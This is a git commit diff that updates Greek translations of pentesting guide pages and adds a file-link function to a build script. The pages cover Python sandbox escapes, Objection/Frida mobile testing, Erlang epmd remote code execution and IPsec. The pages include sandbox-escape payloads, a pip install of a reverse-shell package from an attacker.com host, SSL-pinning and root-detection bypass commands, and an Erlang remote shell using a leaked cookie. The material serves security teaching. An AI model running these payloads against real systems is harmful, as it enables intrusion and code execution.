Translated ['src/generic-methodologies-and-resources/python/bypass-pytho

This commit is contained in:
Translator 2025-01-05 16:17:42 +00:00
parent 9345179377
commit 35b65f19e1
18 changed files with 367 additions and 308 deletions

View File

@ -1,4 +1,5 @@
import json
import os
import sys
import re
import logging
@ -68,6 +69,33 @@ def ref(matchobj):
return result
def files(matchobj):
logger.debug(f'Files match: {matchobj.groups(0)[0].strip()}')
href = matchobj.groups(0)[0].strip()
title = ""
try:
for root, dirs, files in os.walk(os.getcwd()+'/src/files'):
if href in files:
title = href
logger.debug(f'File search result: {os.path.join(root, href)}')
except Exception as e:
logger.debug(e)
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
if title=="":
logger.debug(f'Error searching file: {href}')
print(f'Error searching file: {href}')
sys.exit(1)
template = f"""<a class="content_ref" href="/files/{href}"><span class="content_ref_label">{title}</span></a>"""
result = template
return result
def add_read_time(content):
regex = r'(<\/style>\n# .*(?=\n))'
@ -105,6 +133,8 @@ if __name__ == '__main__':
current_chapter = chapter
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, chapter['content'])
new_content = add_read_time(new_content)
chapter['content'] = new_content

View File

@ -2,9 +2,9 @@
{{#include ../../../banners/hacktricks-training.md}}
Αυτές είναι μερικές τεχνικές για να παρακάμψετε τις προστασίες του python sandbox και να εκτελέσετε αυθαίρετες εντολές.
Αυτά είναι μερικά κόλπα για να παρακάμψετε τις προστασίες sandbox της python και να εκτελέσετε αυθαίρετες εντολές.
## Command Execution Libraries
## Βιβλιοθήκες Εκτέλεσης Εντολών
Το πρώτο πράγμα που πρέπει να ξέρετε είναι αν μπορείτε να εκτελέσετε άμεσα κώδικα με κάποια ήδη εισαγμένη βιβλιοθήκη, ή αν μπορείτε να εισάγετε οποιαδήποτε από αυτές τις βιβλιοθήκες:
```python
@ -39,16 +39,15 @@ open('/var/www/html/input', 'w').write('123')
execfile('/usr/lib/python2.7/os.py')
system('ls')
```
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στο python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** το sandbox.
Θυμηθείτε ότι οι _**open**_ και _**read**_ συναρτήσεις μπορούν να είναι χρήσιμες για να **διαβάσετε αρχεία** μέσα στην python sandbox και να **γράψετε κάποιον κώδικα** που θα μπορούσατε να **εκτελέσετε** για να **παρακάμψετε** την sandbox.
> [!CAUTION]
> Η συνάρτηση **input()** του Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
> [!CAUTION] > Η συνάρτηση **input()** της Python2 επιτρέπει την εκτέλεση κώδικα python πριν το πρόγραμμα καταρρεύσει.
Ο Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει ο python τα modules): `python3 -c 'import sys; print(sys.path)'`
Η Python προσπαθεί να **φορτώσει βιβλιοθήκες από τον τρέχοντα φάκελο πρώτα** (η παρακάτω εντολή θα εκτυπώσει από πού φορτώνει η python τα modules): `python3 -c 'import sys; print(sys.path)'`
![](<../../../images/image (559).png>)
## Παράκαμψη του pickle sandbox με τα προεγκατεστημένα πακέτα python
## Παράκαμψη της sandbox pickle με τα προεγκατεστημένα πακέτα python
### Προεγκατεστημένα πακέτα
@ -80,7 +79,9 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
Μπορείτε να κατεβάσετε το πακέτο για να δημιουργήσετε το reverse shell εδώ. Παρακαλώ, σημειώστε ότι πριν το χρησιμοποιήσετε θα πρέπει να **αποσυμπιέσετε, να αλλάξετε το `setup.py` και να βάλετε τη διεύθυνση IP σας για το reverse shell**:
{% file src="../../../images/Reverse.tar (1).gz" %}
{{#file}}
Reverse.tar (1).gz
{{#endfile}}
> [!NOTE]
> Αυτό το πακέτο ονομάζεται `Reverse`. Ωστόσο, έχει κατασκευαστεί ειδικά ώστε όταν βγείτε από το reverse shell, η υπόλοιπη εγκατάσταση να αποτύχει, έτσι ώστε **να μην αφήσετε κανένα επιπλέον πακέτο python εγκατεστημένο στον διακομιστή** όταν φύγετε.
@ -90,7 +91,7 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
> [!WARNING]
> Σημειώστε ότι το exec επιτρέπει πολυγραμμικά strings και ";", αλλά το eval δεν το επιτρέπει (ελέγξτε τον τελεστή walrus)
Αν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
Εάν ορισμένοι χαρακτήρες είναι απαγορευμένοι, μπορείτε να χρησιμοποιήσετε την **hex/octal/B64** αναπαράσταση για να **bypass** τον περιορισμό:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -151,7 +152,7 @@ return x
## Εκτέλεση Python χωρίς κλήσεις
Εάν βρίσκεστε μέσα σε μια φυλακή python που **δεν σας επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
Αν βρίσκεστε μέσα σε μια φυλακή python που **δεν επιτρέπει να κάνετε κλήσεις**, υπάρχουν ακόμα μερικοί τρόποι για να **εκτελέσετε αυθαίρετες συναρτήσεις, κώδικα** και **εντολές**.
### RCE με [decorators](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -231,9 +232,9 @@ __iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
#### Δημιουργία αντικειμένων με [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses)
#### Δημιουργία αντικειμένων με [μετακλάσεις](https://docs.python.org/3/reference/datamodel.html#metaclasses)
Το κύριο πράγμα που επιτρέπουν οι metaclasses είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως metaclass.
Το κύριο πράγμα που μας επιτρέπουν οι μετακλάσεις είναι **να δημιουργήσουμε μια παρουσία μιας κλάσης, χωρίς να καλέσουμε απευθείας τον κατασκευαστή**, δημιουργώντας μια νέα κλάση με την επιθυμητή κλάση ως μετακλάση.
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
@ -250,7 +251,7 @@ Sub['import os; os.system("sh")']
```
#### Δημιουργία αντικειμένων με εξαιρέσεις
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** είναι **δημιουργημένο** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
Όταν μια **εξαίρεση ενεργοποιείται**, ένα αντικείμενο της **Exception** **δημιουργείται** χωρίς να χρειάζεται να καλέσετε απευθείας τον κατασκευαστή (ένα κόλπο από [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez)):
```python
class RCE(Exception):
def __init__(self):
@ -314,7 +315,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
### No Builtins
Όταν δεν έχετε `__builtins__`, δεν θα μπορείτε να εισάγετε τίποτα ούτε καν να διαβάσετε ή να γράψετε αρχεία καθώς **όλες οι παγκόσμιες συναρτήσεις** (όπως `open`, `import`, `print`...) **δεν είναι φορτωμένες**.\
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται ακίνδυνα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη **εκτέλεση αυθαίρετου κώδικα**.
Ωστόσο, **κατά προεπιλογή, η python εισάγει πολλά modules στη μνήμη**. Αυτά τα modules μπορεί να φαίνονται ακίνδυνα, αλλά μερικά από αυτά **εισάγουν επίσης επικίνδυνες** λειτουργίες μέσα τους που μπορούν να προσπελαστούν για να αποκτήσετε ακόμη και **τυχαία εκτέλεση κώδικα**.
Στα παρακάτω παραδείγματα μπορείτε να παρατηρήσετε πώς να **καταχραστείτε** μερικά από αυτά τα "**ακίνδυνα**" modules που έχουν φορτωθεί για να **προσεγγίσετε** **επικίνδυνες** **λειτουργίες** μέσα τους.
@ -404,11 +405,11 @@ class_obj.__init__.__globals__
## Ανακάλυψη Αυθαίρετης Εκτέλεσης
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που έχουν φορτωθεί** και να προτείνω πιο αξιόπιστους εκμεταλλευτές.
Εδώ θέλω να εξηγήσω πώς να ανακαλύψετε εύκολα **πιο επικίνδυνες λειτουργίες που φορτώνονται** και να προτείνω πιο αξιόπιστους εκμεταλλευτές.
#### Πρόσβαση σε υποκλάσεις με παρακάμψεις
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η δυνατότητα **πρόσβασης στις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
Ένα από τα πιο ευαίσθητα μέρη αυτής της τεχνικής είναι η ικανότητα να **προσεγγίζετε τις βασικές υποκλάσεις**. Στα προηγούμενα παραδείγματα αυτό έγινε χρησιμοποιώντας `''.__class__.__base__.__subclasses__()` αλλά υπάρχουν **άλλοι πιθανοί τρόποι**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -681,7 +682,7 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς εισαγωγικά `__globals__[CONFIG]`
Σημειώστε πώς μπορείτε να **πρόσβαση σε χαρακτηριστικά** με κανονικό τρόπο με μια **τελεία** όπως `people_obj.__init__` και **στοιχείο dict** με **παρενθέσεις** χωρίς αποσπάσματα `__globals__[CONFIG]`
Επίσης, σημειώστε ότι μπορείτε να χρησιμοποιήσετε `.__dict__` για να απαριθμήσετε τα στοιχεία ενός αντικειμένου `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
@ -704,13 +705,13 @@ return 'HAL 9000'
**Περισσότερα παραδείγματα** σχετικά με **μορφή** **συμβολοσειρών** μπορούν να βρεθούν στο [**https://pyformat.info/**](https://pyformat.info)
> [!ΠΡΟΣΟΧΗ]
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead ευαίσθητες πληροφορίες από τα εσωτερικά αντικείμενα της Python**:
> Ελέγξτε επίσης την παρακάτω σελίδα για gadgets που θα r**ead sensitive information from Python internal objects**:
{{#ref}}
../python-internal-read-gadgets.md
{{#endref}}
### Payloads Αποκάλυψης Ευαίσθητων Πληροφοριών
### Payloads Ευαίσθητης Αποκάλυψης Πληροφοριών
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -732,7 +733,7 @@ str(x) # Out: clueless
### Από το format στο RCE φόρτωσης βιβλιοθηκών
Σύμφωνα με την [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Σύμφωνα με το [**TypeMonkey chall από αυτή την αναφορά**](https://corgi.rip/posts/buckeye-writeups/), είναι δυνατόν να φορτωθούν αυθαίρετες βιβλιοθήκες από το δίσκο εκμεταλλευόμενοι την ευπάθεια της μορφής συμβολοσειράς στην python.
Ως υπενθύμιση, κάθε φορά που εκτελείται μια ενέργεια στην python, εκτελείται κάποια συνάρτηση. Για παράδειγμα, `2*3` θα εκτελέσει **`(2).mul(3)`** ή **`{'a':'b'}['a']`** θα είναι **`{'a':'b'}.__getitem__('a')`**.
@ -741,7 +742,7 @@ str(x) # Out: clueless
Μια ευπάθεια μορφής συμβολοσειράς στην python δεν επιτρέπει την εκτέλεση συνάρτησης (δεν επιτρέπει τη χρήση παρενθέσεων), οπότε δεν είναι δυνατόν να αποκτήσετε RCE όπως `'{0.system("/bin/sh")}'.format(os)`.\
Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε `[]`. Επομένως, αν μια κοινή βιβλιοθήκη python έχει μια μέθοδο **`__getitem__`** ή **`__getattr__`** που εκτελεί αυθαίρετο κώδικα, είναι δυνατόν να τις εκμεταλλευτείτε για να αποκτήσετε RCE.
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Εκεί βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Ψάχνοντας για ένα gadget όπως αυτό στην python, η αναφορά προτείνει αυτή την [**αναζήτηση στο Github**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Όπου βρήκε αυτό [ένα](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -921,7 +922,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Συγκέντρωση Python
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκφορτώσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\
Τώρα, ας φανταστούμε ότι με κάποιο τρόπο μπορείτε να **εκχύσετε τις πληροφορίες σχετικά με μια συνάρτηση που δεν μπορείτε να εκτελέσετε** αλλά **χρειάζεστε** να **την εκτελέσετε**.\
Όπως στο παρακάτω παράδειγμα, μπορείτε να **έχετε πρόσβαση στο αντικείμενο κώδικα** αυτής της συνάρτησης, αλλά απλά διαβάζοντας την αποσυναρμολόγηση **δεν ξέρετε πώς να υπολογίσετε τη σημαία** (_φανταστείτε μια πιο σύνθετη συνάρτηση `calc_flag`_)
```python
def get_flag(some_input):
@ -937,7 +938,7 @@ return "Nope"
```
### Δημιουργία του αντικειμένου κώδικα
Πρώτα απ' όλα, πρέπει να ξέρουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
Πρώτα απ' όλα, πρέπει να γνωρίζουμε **πώς να δημιουργήσουμε και να εκτελέσουμε ένα αντικείμενο κώδικα** ώστε να μπορέσουμε να δημιουργήσουμε ένα για να εκτελέσουμε τη λειτουργία μας που έχει διαρρεύσει:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -968,7 +969,7 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
### Αναδημιουργία μιας διαρροής συνάρτησης
> [!WARNING]
> Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσετε**.
> Στο παρακάτω παράδειγμα, θα πάρουμε όλα τα δεδομένα που χρειάζονται για να αναδημιουργήσουμε τη συνάρτηση απευθείας από το αντικείμενο κώδικα της συνάρτησης. Σε ένα **πραγματικό παράδειγμα**, όλες οι **τιμές** για την εκτέλεση της συνάρτησης **`code_type`** είναι αυτές που **θα χρειαστεί να διαρρεύσουν**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -1054,5 +1055,4 @@ print(f"\nNot a Super User!!!\n")
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## **Εισαγωγή**
**objection - Runtime Mobile Exploration**
[**Objection**](https://github.com/sensepost/objection) είναι ένα εργαλείο εξερεύνησης κινητών σε χρόνο εκτέλεσης, που υποστηρίζεται από [Frida](https://www.frida.re). Δημιουργήθηκε με σκοπό να βοηθήσει στην αξιολόγηση κινητών εφαρμογών και της ασφάλειας τους χωρίς την ανάγκη για jailbroken ή rooted κινητή συσκευή.
[**Objection**](https://github.com/sensepost/objection) είναι ένα εργαλείο εξερεύνησης κινητών σε πραγματικό χρόνο, που υποστηρίζεται από [Frida](https://www.frida.re). Δημιουργήθηκε με σκοπό να βοηθήσει στην αξιολόγηση κινητών εφαρμογών και της ασφάλειας τους χωρίς την ανάγκη για jailbroken ή rooted κινητή συσκευή.
**Σημείωση:** Αυτό δεν είναι κάποια μορφή jailbreak / root bypass. Χρησιμοποιώντας το `objection`, εξακολουθείτε να περιορίζεστε από όλους τους περιορισμούς που επιβάλλει το σχετικό sandbox που αντιμετωπίζετε.
@ -20,9 +18,11 @@
Για αυτό το tutorial θα χρησιμοποιήσω το APK που μπορείτε να κατεβάσετε εδώ:
{% file src="../../../images/app-release.zip" %}
{{#file}}
app-release.zip
{{#endfile}}
Ή από το [πρωτότυπο αποθετήριο](https://github.com/asvid/FridaApp) (κατεβάστε app-release.apk)
Ή από το [πρωτότυπο αποθετήριο](https://github.com/asvid/FridaApp)(κατεβάστε app-release.apk)
### Εγκατάσταση
```bash
@ -32,7 +32,7 @@ pip3 install objection
Κάντε μια **κανονική σύνδεση ADB** και **ξεκινήστε** τον **server frida** στη συσκευή (και ελέγξτε ότι το frida λειτουργεί τόσο στον πελάτη όσο και στον server).
Αν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην επιλογή _**--gadget**_. σε αυτή την περίπτωση:
Εάν χρησιμοποιείτε μια **rooted συσκευή**, είναι απαραίτητο να επιλέξετε την εφαρμογή που θέλετε να δοκιμάσετε μέσα στην _**--gadget**_ επιλογή. σε αυτή την περίπτωση:
```bash
frida-ps -Uai
objection --gadget asvid.github.io.fridaapp explore
@ -68,7 +68,7 @@ import <local path frida-script>
```bash
android sslpinning disable #Attempts to disable SSL Pinning on Android devices.
```
#### Ανίχνευση root
#### Ανίχνευση ρίζας
```bash
android root disable #Attempts to disable root detection on Android devices.
android root simulate #Attempts to simulate a rooted Android environment.
@ -169,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### Εμφανίσεις κλάσης
Αναζητήστε και εκτυπώστε **ζωντανές εμφανίσεις μιας συγκεκριμένης Java κλάσης**, που καθορίζεται από ένα πλήρως προσδιορισμένο όνομα κλάσης. Το αποτέλεσμα είναι η προσπάθεια να αποκτήσετε μια τιμή string για μια ανακαλυφθείσα objection που θα περιέχει συνήθως **τιμές ιδιοτήτων για το αντικείμενο**.
Αναζητήστε και εκτυπώστε **ζωντανές εμφανίσεις μιας συγκεκριμένης Java κλάσης**, που καθορίζεται από ένα πλήρως προσδιορισμένο όνομα κλάσης. Το αποτέλεσμα είναι η προσπάθεια να αποκτήσετε μια τιμή string για μια ανακαλυφθείσα objection, η οποία θα περιέχει συνήθως **τιμές ιδιοτήτων για το αντικείμενο**.
```
android heap print_instances <class>
```
@ -221,8 +221,8 @@ exit
```
## Τι μου λείπει από το Objection
- Οι μέθοδοι hooking μερικές φορές προκαλούν κρασάρισμα της εφαρμογής (αυτό οφείλεται επίσης στο Frida).
- Οι μέθοδοι hooking μερικές φορές καταρρέουν την εφαρμογή (αυτό οφείλεται επίσης στο Frida).
- Δεν μπορείτε να χρησιμοποιήσετε τις παρουσίες των κλάσεων για να καλέσετε συναρτήσεις της παρουσίας. Και δεν μπορείτε να δημιουργήσετε νέες παρουσίες κλάσεων και να τις χρησιμοποιήσετε για να καλέσετε συναρτήσεις.
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να κάνετε hook όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
- Δεν υπάρχει μια συντόμευση (όπως αυτή για το sslpinnin) για να hookάρετε όλες τις κοινές μεθόδους κρυπτογράφησης που χρησιμοποιούνται από την εφαρμογή για να δείτε κρυπτογραφημένο κείμενο, απλό κείμενο, κλειδιά, IVs και αλγόριθμους που χρησιμοποιούνται.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,10 @@
{{#include ../banners/hacktricks-training.md}}
# Βασικές Πληροφορίες
# Basic Info
Ο **Erlang Port Mapper Daemon (epmd)** λειτουργεί ως συντονιστής για κατανεμημένα παραδείγματα Erlang. Είναι υπεύθυνος για την αντιστοίχιση συμβολικών ονομάτων κόμβων σε διευθύνσεις μηχανών, διασφαλίζοντας ουσιαστικά ότι κάθε όνομα κόμβου συνδέεται με μια συγκεκριμένη διεύθυνση. Αυτός ο ρόλος του **epmd** είναι κρίσιμος για την απρόσκοπτη αλληλεπίδραση και επικοινωνία μεταξύ διαφορετικών κόμβων Erlang σε ένα δίκτυο.
Ο **Erlang Port Mapper Daemon (epmd)** λειτουργεί ως συντονιστής για κατανεμημένα παραδείγματα Erlang. Είναι υπεύθυνος για την αντιστοίχιση συμβολικών ονομάτων κόμβων σε διευθύνσεις μηχανών, διασφαλίζοντας ουσιαστικά ότι κάθε όνομα κόμβου σχετίζεται με μια συγκεκριμένη διεύθυνση. Αυτός ο ρόλος του **epmd** είναι κρίσιμος για την απρόσκοπτη αλληλεπίδραση και επικοινωνία μεταξύ διαφορετικών κόμβων Erlang σε ένα δίκτυο.
**Προεπιλεγμένη θύρα**: 4369
**Default port**: 4369
```
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
@ -42,7 +42,7 @@ PORT STATE SERVICE VERSION
## Remote Connection
Αν μπορείτε να **διαρρεύσετε το Authentication cookie** θα μπορείτε να εκτελέσετε κώδικα στον υπολογιστή. Συνήθως, αυτό το cookie βρίσκεται στο `~/.erlang.cookie` και δημιουργείται από το erlang κατά την πρώτη εκκίνηση. Αν δεν έχει τροποποιηθεί ή οριστεί χειροκίνητα, είναι μια τυχαία ακολουθία \[A:Z] με μήκος 20 χαρακτήρων.
Αν μπορείτε να **διαρρεύσετε το Authentication cookie** θα είστε σε θέση να εκτελέσετε κώδικα στον υπολογιστή. Συνήθως, αυτό το cookie βρίσκεται στο `~/.erlang.cookie` και δημιουργείται από το erlang κατά την πρώτη εκκίνηση. Αν δεν έχει τροποποιηθεί ή οριστεί χειροκίνητα, είναι μια τυχαία αλφαριθμητική συμβολοσειρά \[A:Z] με μήκος 20 χαρακτήρων.
```bash
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
@ -55,13 +55,15 @@ At last, we can start an erlang shell on the remote system.
"uid=0(root) gid=0(root) groups=0(root)\n"
```
Περισσότερες πληροφορίες στο [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\
Ο συγγραφέας μοιράζεται επίσης ένα πρόγραμμα για να κάνετε brutforce το cookie:
Ο συγγραφέας μοιράζεται επίσης ένα πρόγραμμα για να κάνετε brute force το cookie:
{% file src="../images/epmd_bf-0.1.tar.bz2" %}
{{#file}}
epmd_bf-0.1.tar.bz2
{{#endfile}}
## Τοπική Σύνδεση
Σε αυτή την περίπτωση, θα εκμεταλλευτούμε το CouchDB για να κλιμακώσουμε τα δικαιώματα τοπικά:
Σε αυτή την περίπτωση θα εκμεταλλευτούμε το CouchDB για να κλιμακώσουμε τα δικαιώματα τοπικά:
```bash
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).

View File

@ -4,13 +4,13 @@
## Basic Information
**IPsec** είναι ευρέως αναγνωρισμένο ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (remote access), λειτουργώντας ως η ραχοκοκαλιά για τις λύσεις VPN επιχειρήσεων.
**IPsec** είναι ευρέως αναγνωρισμένη ως η κύρια τεχνολογία για την ασφάλιση των επικοινωνιών μεταξύ δικτύων (LAN-to-LAN) και από απομακρυσμένους χρήστες προς την πύλη του δικτύου (remote access), λειτουργώντας ως η ραχοκοκαλιά για τις λύσεις VPN επιχειρήσεων.
Η εγκαθίδρυση μιας **ασφαλούς συσχέτισης (SA)** μεταξύ δύο σημείων διαχειρίζεται από το **IKE**, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ενός πρωτοκόλλου σχεδιασμένου για την αυθεντικοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εκτυλίσσεται σε πολλές φάσεις:
Η εγκαθίδρυση μιας **security association (SA)** μεταξύ δύο σημείων διαχειρίζεται από το **IKE**, το οποίο λειτουργεί υπό την ομπρέλα του ISAKMP, ενός πρωτοκόλλου σχεδιασμένου για την αυθεντικοποίηση και την ανταλλαγή κλειδιών. Αυτή η διαδικασία εκτυλίσσεται σε πολλές φάσεις:
- **Phase 1:** Δημιουργείται ένα ασφαλές κανάλι μεταξύ δύο σημείων. Αυτό επιτυγχάνεται μέσω της χρήσης ενός Προ-Κοινόχρηστου Κλειδιού (PSK) ή πιστοποιητικών, χρησιμοποιώντας είτε κύριο τρόπο, ο οποίος περιλαμβάνει τρία ζεύγη μηνυμάτων, είτε **aggressive mode**.
- **Phase 1.5:** Αν και δεν είναι υποχρεωτική, αυτή η φάση, γνωστή ως η Φάση Επεκτεταμένης Αυθεντικοποίησης, επαληθεύει την ταυτότητα του χρήστη που προσπαθεί να συνδεθεί απαιτώντας ένα όνομα χρήστη και κωδικό πρόσβασης.
- **Phase 2:** Αυτή η φάση είναι αφιερωμένη στη διαπραγμάτευση των παραμέτρων για την ασφάλιση των δεδομένων με **ESP** και **AH**. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς στη Φάση 1 για να διασφαλιστεί η **Τέλεια Προχωρημένη Μυστικότητα (PFS)**, ενισχύοντας την ασφάλεια.
- **Phase 2:** Αυτή η φάση είναι αφιερωμένη στη διαπραγμάτευση των παραμέτρων για την ασφάλιση των δεδομένων με **ESP** και **AH**. Επιτρέπει τη χρήση αλγορίθμων διαφορετικών από αυτούς στη Φάση 1 για να διασφαλιστεί η **Perfect Forward Secrecy (PFS)**, ενισχύοντας την ασφάλεια.
**Default port:** 500/udp
@ -26,11 +26,11 @@ MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Εύρεση έγκυρης μετατροπής**
Η διαμόρφωση IPSec μπορεί να προετοιμαστεί μόνο για να αποδεχτεί μία ή μερικές μετατροπές. Μια μετατροπή είναι ένας συνδυασμός τιμών. **Κάθε μετατροπή** περιέχει έναν αριθμό χαρακτηριστικών όπως DES ή 3DES ως **αλγόριθμο κρυπτογράφησης**, SHA ή MD5 ως **αλγόριθμο ακεραιότητας**, ένα προ-μοιρασμένο κλειδί ως **τύπο αυθεντικοποίησης**, Diffie-Hellman 1 ή 2 ως **αλγόριθμο κατανομής κλειδιών** και 28800 δευτερόλεπτα ως **διάρκεια ζωής**.
Η διαμόρφωση IPSec μπορεί να προετοιμαστεί μόνο για να αποδεχτεί μία ή λίγες μετατροπές. Μια μετατροπή είναι ένας συνδυασμός τιμών. **Κάθε μετατροπή** περιέχει έναν αριθμό χαρακτηριστικών όπως DES ή 3DES ως **αλγόριθμο κρυπτογράφησης**, SHA ή MD5 ως **αλγόριθμο ακεραιότητας**, ένα προ-μοιρασμένο κλειδί ως **τύπο αυθεντικοποίησης**, Diffie-Hellman 1 ή 2 ως **αλγόριθμο κατανομής κλειδιών** και 28800 δευτερόλεπτα ως **διάρκεια ζωής**.
